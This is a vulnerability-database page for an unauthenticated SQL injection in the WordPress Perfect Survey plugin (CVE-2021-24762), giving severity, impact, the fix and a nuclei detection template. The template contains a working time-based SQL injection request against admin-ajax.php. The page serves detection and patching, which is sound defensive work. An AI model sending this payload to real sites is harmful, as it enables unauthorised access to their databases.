Browse / CVEs / CVE-2021-24762
CVE-2021-24762· getperfectsurvey / perfect survey· CWE-89
WordPress Perfect Survey <1.5.2 - SQL Injection
criticalseverity
9.8CVSS score
86.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.
Impact
Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
Fix
Update to the latest version of the WordPress Perfect Survey plugin (1.5.2) to mitigate the SQL Injection vulnerability.
How to confirm it
Send: @timeout: 15s
Positive when: duration>=7 AND contains in header "wp-ps-session" AND status 404Run it with nuclei: nuclei -id CVE-2021-24762 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-24762
info:
name: WordPress Perfect Survey <1.5.2 - SQL Injection
author: cckuailong
severity: critical
description: |
Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
remediation: |
Update to the latest version of the WordPress Perfect Survey plugin (1.5.2) to mitigate the SQL Injection vulnerability.
reference:
- https://www.exploit-db.com/exploits/50766
- https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-24762/vultarget
- https://wpscan.com/vulnerability/c1620905-7c31-4e62-80f5-1d9635be11ad
- https://nvd.nist.gov/vuln/detail/CVE-2021-24762
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24762
cwe-id: CWE-89
epss-score: 0.86782
epss-percentile: 0.99746
cpe: cpe:2.3:a:getperfectsurvey:perfect_survey:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: getperfectsurvey
product: perfect_survey
framework: wordpress
tags: time-based-sqli,cve2021,cve,wpscan,sqli,wp,wordpress,wp-plugin,edb,getperfectsurvey,vkev,vuln
http:
- raw:
- |
@timeout: 15s
GET /wp-admin/admin-ajax.php?action=get_question&question_id=1%20AND%20(SELECT%207242%20FROM%20(SELECT(SLEEP(7)))HQYx) HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=7'
- type: word
part: header
words:
- "wp-ps-session"
- type: status
status:
- 404References
- https://www.exploit-db.com/exploits/50766
- https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-24762/vultarget
- https://wpscan.com/vulnerability/c1620905-7c31-4e62-80f5-1d9635be11ad
- https://nvd.nist.gov/vuln/detail/CVE-2021-24762
Use this check only on systems you are authorised to test. Where the data comes from